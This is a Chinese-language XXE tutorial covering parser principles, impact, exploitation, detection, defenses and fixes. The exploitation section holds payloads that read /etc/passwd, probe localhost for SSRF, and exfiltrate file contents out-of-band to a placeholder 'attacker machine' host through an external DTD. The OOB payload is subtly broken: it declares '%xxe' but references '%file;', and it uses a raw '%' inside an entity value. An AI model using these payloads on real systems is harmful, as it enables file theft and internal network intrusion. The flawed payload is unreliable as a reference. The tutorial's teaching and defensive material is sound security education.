写在前面:合法学习边界
XXE 测试只允许在自建靶场或授权环境进行。对真实系统读文件、外带数据、探测内网可能触犯法律。
一、漏洞原理
XML 解析器默认支持 DTD 和外部实体。如果程序解析不可信的 XML,且没禁用外部实体,攻击者就能让解析器去读文件、发请求。
1
2
3
4
| <!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
|
漏洞本质:XML 的“实体”机制被用来访问本地文件或外部地址。
常见触发点:
1
2
3
4
| SOAP/XML-RPC 接口
前端传 XML 的接口
上传 .xml/.docx/.svg 被后端解析
配置文件解析
|
二、影响与危害
1
2
3
4
| 读取任意文件(源码、配置、密钥)
SSRF(实体指向内网地址)
带外数据外带(OOB)
DoS(实体扩展/十亿笑)
|
风险等级:高。
三、利用 / 复现
直接读文件
1
2
3
4
5
| <?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
|
如果响应里回显 /etc/passwd 内容,XXE 成立。
无回显:带外外带(OOB)
1
2
3
4
5
6
7
| <?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % ext SYSTEM "http://攻击机/xxe.dtd">
%ext;
]>
<foo/>
|
攻击机放 xxe.dtd,把文件内容拼到外带请求:
1
2
| <!ENTITY % all "<!ENTITY % send SYSTEM 'http://攻击机/?data=%file;'>">
%all;
|
攻击机收到带文件内容的请求。
探测内网 / SSRF
1
2
| <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
<foo>&xxe;</foo>
|
四、检测
1
2
3
4
| 请求中带 XML 与 DOCTYPE/ENTITY
响应出现文件内容或异常报错
出现对攻击机的外带请求
XML 接口存在但报错信息暴露内部路径
|
五、防御
1
2
3
4
| 禁用 DTD / 外部实体(解析库安全默认值)
不用 XML 就用 JSON
对 XML 输入做白名单校验
限制解析资源防 DoS
|
六、修复
1
2
3
4
| 解析库显式关闭外部实体与 DTD
升级到默认安全的 XML 解析配置
对存量接口审计 XML 输入
修复后复测:file:// 与外带 payload 均被拒
|
七、小结
XXE 的核心是“XML 解析器信任了外部实体”。它既能读文件又能当 SSRF。见到 XML 接口就先试实体——很多老接口都中招。